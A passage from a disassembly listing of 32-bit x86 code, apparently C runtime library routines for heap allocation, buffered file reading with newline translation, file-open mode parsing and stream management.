		lea	eax, [edi+2018h]


loc_41F02A:				; CODE XREF: sub_41EE8E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F03A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F038
		add	ecx, 8
		jmp	short loc_41F02A
; ---------------------------------------------------------------------------


loc_41F038:				; CODE XREF: sub_41EE8E+1A3j
		cmp	ecx, eax


loc_41F03A:				; CODE XREF: sub_41EE8E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F091
; ---------------------------------------------------------------------------


loc_41F05D:				; CODE XREF: sub_41EE8E+F2j
		call	sub_41EB96
		test	eax, eax
		jz	short loc_41F08F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	ds:off_43EF80, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F091
; ---------------------------------------------------------------------------


loc_41F08F:				; CODE XREF: sub_41EE8E+143j
					; sub_41EE8E+1D6j
		xor	eax, eax


loc_41F091:				; CODE XREF: sub_41EE8E+D6j
					; sub_41EE8E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F096	proc near		; CODE XREF: sub_41EE8E+4Ap
					; sub_41EE8E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F0DB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F0CA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CA:				; CODE XREF: sub_41F096+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F0D3:				; CODE XREF: sub_41F096+32j
		lea	eax, [edi+8]
		jmp	loc_41F1A9
; ---------------------------------------------------------------------------


loc_41F0DB:				; CODE XREF: sub_41F096+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F0E4
		mov	eax, esi


loc_41F0E4:				; CODE XREF: sub_41F096+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F12E


loc_41F0EB:				; CODE XREF: sub_41F096+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F121
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F0F7:				; CODE XREF: sub_41F096+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F100
		inc	ebx
		inc	esi
		jmp	short loc_41F0F7
; ---------------------------------------------------------------------------


loc_41F100:				; CODE XREF: sub_41F096+64j
		cmp	esi, edx
		jnb	short loc_41F152
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F10E
		mov	[ecx+4], esi
		jmp	short loc_41F11A
; ---------------------------------------------------------------------------


loc_41F10E:				; CODE XREF: sub_41F096+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F1B3


loc_41F11A:				; CODE XREF: sub_41F096+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F126
; ---------------------------------------------------------------------------


loc_41F121:				; CODE XREF: sub_41F096+59j
		movzx	esi, bl
		add	eax, esi


loc_41F126:				; CODE XREF: sub_41F096+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F0EB


loc_41F12E:				; CODE XREF: sub_41F096+53j
		lea	esi, [ecx+8]


loc_41F131:				; CODE XREF: sub_41F096+EBj
					; sub_41F096+F2j
		cmp	esi, edi
		jnb	short loc_41F1B3
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F1B3
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F183
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F149:				; CODE XREF: sub_41F096+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F173
		inc	ebx
		inc	eax
		jmp	short loc_41F149
; ---------------------------------------------------------------------------


loc_41F152:				; CODE XREF: sub_41F096+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F163
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F16C
; ---------------------------------------------------------------------------


loc_41F163:				; CODE XREF: sub_41F096+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F16C:				; CODE XREF: sub_41F096+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F1A9
; ---------------------------------------------------------------------------


loc_41F173:				; CODE XREF: sub_41F096+B6j
		cmp	eax, edx
		jnb	short loc_41F18A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F1B3
		mov	esi, ebx
		jmp	short loc_41F131
; ---------------------------------------------------------------------------


loc_41F183:				; CODE XREF: sub_41F096+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F131
; ---------------------------------------------------------------------------


loc_41F18A:				; CODE XREF: sub_41F096+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F19B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F1A4
; ---------------------------------------------------------------------------


loc_41F19B:				; CODE XREF: sub_41F096+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F1A4:				; CODE XREF: sub_41F096+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F1A9:				; CODE XREF: sub_41F096+40j
					; sub_41F096+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F1B5
; ---------------------------------------------------------------------------


loc_41F1B3:				; CODE XREF: sub_41F096+7Ej
					; sub_41F096+9Dj ...
		xor	eax, eax


loc_41F1B5:				; CODE XREF: sub_41F096+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F1BA	proc near		; CODE XREF: sub_41B3F2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F1F4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F254
; ---------------------------------------------------------------------------


loc_41F1F4:				; CODE XREF: sub_41F1BA+26j
		jnb	short loc_41F25B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F25B
		lea	eax, [ecx+edx]


loc_41F209:				; CODE XREF: sub_41F1BA+59j
		cmp	eax, esi
		jnb	short loc_41F217
		cmp	byte ptr [eax],	0
		jnz	short loc_41F215
		inc	eax
		jmp	short loc_41F209
; ---------------------------------------------------------------------------


loc_41F215:				; CODE XREF: sub_41F1BA+56j
		cmp	eax, esi


loc_41F217:				; CODE XREF: sub_41F1BA+51j
		jnz	short loc_41F25B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F24F
		cmp	esi, eax
		jbe	short loc_41F24F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F246
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F241


loc_41F23A:				; CODE XREF: sub_41F1BA+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F23A


loc_41F241:				; CODE XREF: sub_41F1BA+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F24F
; ---------------------------------------------------------------------------


loc_41F246:				; CODE XREF: sub_41F1BA+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F24F:				; CODE XREF: sub_41F1BA+68j
					; sub_41F1BA+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F254:				; CODE XREF: sub_41F1BA+38j
		mov	[ebp+var_4], 1


loc_41F25B:				; CODE XREF: sub_41F1BA:loc_41F1F4j
					; sub_41F1BA+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F1BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F263	proc near		; CODE XREF: sub_41B30A+A9p
					; sub_41BD3F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F337
		test	al, 40h
		jnz	loc_41F337
		test	al, 2
		jz	short loc_41F289
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F337
; ---------------------------------------------------------------------------


loc_41F289:				; CODE XREF: sub_41F263+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F29D
		push	esi
		call	sub_423C3A
		pop	ecx
		jmp	short loc_41F2A2
; ---------------------------------------------------------------------------


loc_41F29D:				; CODE XREF: sub_41F263+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F2A2:				; CODE XREF: sub_41F263+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F33C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F326
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F326
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F2FB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F2E4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_4DE1E0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F2E9
; ---------------------------------------------------------------------------


loc_41F2E4:				; CODE XREF: sub_41F263+6Bj
		mov	edi, offset dword_43F860


loc_41F2E9:				; CODE XREF: sub_41F263+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F2FB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F2FB:				; CODE XREF: sub_41F263+62j
					; sub_41F263+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F318
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F318
		test	ch, 4
		jnz	short loc_41F318
		mov	dword ptr [esi+18h], 1000h


loc_41F318:				; CODE XREF: sub_41F263+9Fj
					; sub_41F263+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F326:				; CODE XREF: sub_41F263+55j
					; sub_41F263+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F337:				; CODE XREF: sub_41F263+Aj
					; sub_41F263+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F33C	proc near		; CODE XREF: sub_41B30A+90p
					; sub_41F263+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_4DE2E0
		jnb	loc_41F519
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DE1E0h[eax*4]
		mov	eax, ds:dword_4DE1E0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F519
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F3F1
		test	dl, 2
		jnz	short loc_41F3F1
		test	dl, 48h
		jz	short loc_41F3B1
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F3B1
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F3B1:				; CODE XREF: sub_41F33C+56j
					; sub_41F33C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F404
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F3EC
		mov	ds:dword_4DDEB4, 9
		mov	ds:dword_4DDEB8, ecx
		jmp	loc_41F52A
; ---------------------------------------------------------------------------


loc_41F3EC:				; CODE XREF: sub_41F33C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F3F8


loc_41F3F1:				; CODE XREF: sub_41F33C+4Cj
					; sub_41F33C+51j
		xor	eax, eax
		jmp	loc_41F52D
; ---------------------------------------------------------------------------


loc_41F3F8:				; CODE XREF: sub_41F33C+B3j
		push	eax
		call	sub_4205FF
		pop	ecx
		jmp	loc_41F52A
; ---------------------------------------------------------------------------


loc_41F404:				; CODE XREF: sub_41F33C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F514
		test	edx, edx
		jz	short loc_41F429
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F429
		or	al, 4
		jmp	short loc_41F42B
; ---------------------------------------------------------------------------


loc_41F429:				; CODE XREF: sub_41F33C+E2j
					; sub_41F33C+E7j
		and	al, 0FBh


loc_41F42B:				; CODE XREF: sub_41F33C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F50E


loc_41F443:				; CODE XREF: sub_41F33C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F4FE
		cmp	al, 0Dh
		jz	short loc_41F45F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F4F0
; ---------------------------------------------------------------------------


loc_41F45F:				; CODE XREF: sub_41F33C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F47D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F474
		add	[ebp+arg_8], 2
		jmp	short loc_41F4D2
; ---------------------------------------------------------------------------


loc_41F474:				; CODE XREF: sub_41F33C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F4F0
; ---------------------------------------------------------------------------


loc_41F47D:				; CODE XREF: sub_41F33C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_4280E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F4A5
		call	ds:dword_42808C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41F4EC


loc_41F4A5:				; CODE XREF: sub_41F33C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F4EC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F4C7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F4D2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F4F0
; ---------------------------------------------------------------------------


loc_41F4C7:				; CODE XREF: sub_41F33C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F4D7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F4D7


loc_41F4D2:				; CODE XREF: sub_41F33C+136j
					; sub_41F33C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F4EF
; ---------------------------------------------------------------------------


loc_41F4D7:				; CODE XREF: sub_41F33C+18Ej
					; sub_41F33C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422A04
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F4F0


loc_41F4EC:				; CODE XREF: sub_41F33C+167j
					; sub_41F33C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F4EF:				; CODE XREF: sub_41F33C+199j
		inc	edi


loc_41F4F0:				; CODE XREF: sub_41F33C+11Ej
					; sub_41F33C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F443
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4FE:				; CODE XREF: sub_41F33C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F50E
		or	al, 2
		mov	[esi], al


loc_41F50E:				; CODE XREF: sub_41F33C+101j
					; sub_41F33C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F514:				; CODE XREF: sub_41F33C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F52D
; ---------------------------------------------------------------------------


loc_41F519:				; CODE XREF: sub_41F33C+12j
					; sub_41F33C+39j
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9


loc_41F52A:				; CODE XREF: sub_41F33C+ABj
					; sub_41F33C+C3j
		or	eax, 0FFFFFFFFh


loc_41F52D:				; CODE XREF: sub_41F33C+B7j
					; sub_41F33C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F33C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F532	proc near		; CODE XREF: sub_41B3F2+126p
					; sub_41B3F2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4DDF38
		test	eax, eax
		jz	short loc_41F54A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F54A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F54A:				; CODE XREF: sub_41F532+7j
					; sub_41F532+12j
		xor	eax, eax
		retn
sub_41F532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F54D	proc near		; CODE XREF: sub_41B692+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_4DE0A4
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F586
		cmp	al, 72h
		jz	short loc_41F57F
		cmp	al, 77h
		jnz	loc_41F69A
		mov	ecx, 301h
		jmp	short loc_41F58B
; ---------------------------------------------------------------------------


loc_41F57F:				; CODE XREF: sub_41F54D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F58E
; ---------------------------------------------------------------------------


loc_41F586:				; CODE XREF: sub_41F54D+1Dj
		mov	ecx, 109h


loc_41F58B:				; CODE XREF: sub_41F54D+30j
		or	esi, 2


loc_41F58E:				; CODE XREF: sub_41F54D+37j
		push	1
		pop	edx


loc_41F591:				; CODE XREF: sub_41F54D+8Bj
					; sub_41F54D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F680
		cmp	edx, ebx
		jz	loc_41F680
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F61F
		jz	short loc_41F60F
		sub	eax, 2Bh
		jz	short loc_41F5F9
		sub	eax, 19h
		jz	short loc_41F5EF
		sub	eax, 0Eh
		jz	short loc_41F5DA
		dec	eax
		jnz	loc_41F671
		cmp	[ebp+var_4], ebx
		jnz	loc_41F671
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F591
; ---------------------------------------------------------------------------


loc_41F5DA:				; CODE XREF: sub_41F54D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F671
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F591
; ---------------------------------------------------------------------------


loc_41F5EF:				; CODE XREF: sub_41F54D+6Aj
		test	cl, 40h
		jnz	short loc_41F671
		or	ecx, 40h
		jmp	short loc_41F591
; ---------------------------------------------------------------------------


loc_41F5F9:				; CODE XREF: sub_41F54D+65j
		test	cl, 2
		jnz	short loc_41F671
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F591
; ---------------------------------------------------------------------------


loc_41F60F:				; CODE XREF: sub_41F54D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F671
		or	ecx, eax
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F61F:				; CODE XREF: sub_41F54D+5Ej
		sub	eax, 62h
		jz	short loc_41F66C
		dec	eax
		jz	short loc_41F655
		sub	eax, 0Bh
		jz	short loc_41F63E
		sub	eax, 6
		jnz	short loc_41F671
		test	ch, 0C0h
		jnz	short loc_41F671
		or	ch, 40h
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F63E:				; CODE XREF: sub_41F54D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F671
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F655:				; CODE XREF: sub_41F54D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F671
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F66C:				; CODE XREF: sub_41F54D+D5j
		test	ch, 0C0h
		jz	short loc_41F678


loc_41F671:				; CODE XREF: sub_41F54D+72j
					; sub_41F54D+7Bj ...
		xor	edx, edx
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F678:				; CODE XREF: sub_41F54D+122j
		or	ch, 80h
		jmp	loc_41F591
; ---------------------------------------------------------------------------


loc_41F680:				; CODE XREF: sub_41F54D+4Aj
					; sub_41F54D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423C7E
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F69E


loc_41F69A:				; CODE XREF: sub_41F54D+25j
		xor	eax, eax
		jmp	short loc_41F6B8
; ---------------------------------------------------------------------------


loc_41F69E:				; CODE XREF: sub_41F54D+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_4DDF8C
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F6B8:				; CODE XREF: sub_41F54D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F54D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F6BD	proc near		; CODE XREF: sub_41B692p
		mov	edx, ds:dword_4DF300
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F72E
		mov	ebx, ds:dword_4DE2E4
		mov	edi, ebx


loc_41F6D9:				; CODE XREF: sub_41F6BD+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F6F4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F6EF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F6D9
		jmp	short loc_41F72E
; ---------------------------------------------------------------------------


loc_41F6EF:				; CODE XREF: sub_41F6BD+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F718
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F6BD+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B6C5
		pop	ecx
		mov	ecx, ds:dword_4DE2E4
		mov	[edi+ecx], eax
		mov	eax, ds:dword_4DE2E4
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F72E
		mov	esi, edi


loc_41F718:				; CODE XREF: sub_41F6BD+35j
		cmp	esi, ebp
		jz	short loc_41F72E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F72E:				; CODE XREF: sub_41F6BD+12j
					; sub_41F6BD+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F6BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F735	proc near		; CODE XREF: sub_41B8DE+17p
					; sub_41B8DE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F753
		mov	ecx, ds:off_43EF88
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F753:				; CODE XREF: sub_41F735+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_43EF88
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F778
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F781
; ---------------------------------------------------------------------------


loc_41F778:				; CODE XREF: sub_41F735+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F781:				; CODE XREF: sub_41F735+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_423F37
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7A1
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F735+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F7A5:				; CODE XREF: sub_41F735+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F735	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7AA	proc near		; CODE XREF: sub_41BA76+46p
					; sub_41BB70+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F8B3
		test	al, 40h
		jnz	loc_41F8B3
		test	al, 1
		jz	short loc_41F7E2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F8B3
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F7E2:				; CODE XREF: sub_41F7AA+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F81C
		cmp	esi, offset dword_43F578
		jz	short loc_41F80A
		cmp	esi, offset dword_43F598
		jnz	short loc_41F815


loc_41F80A:				; CODE XREF: sub_41F7AA+56j
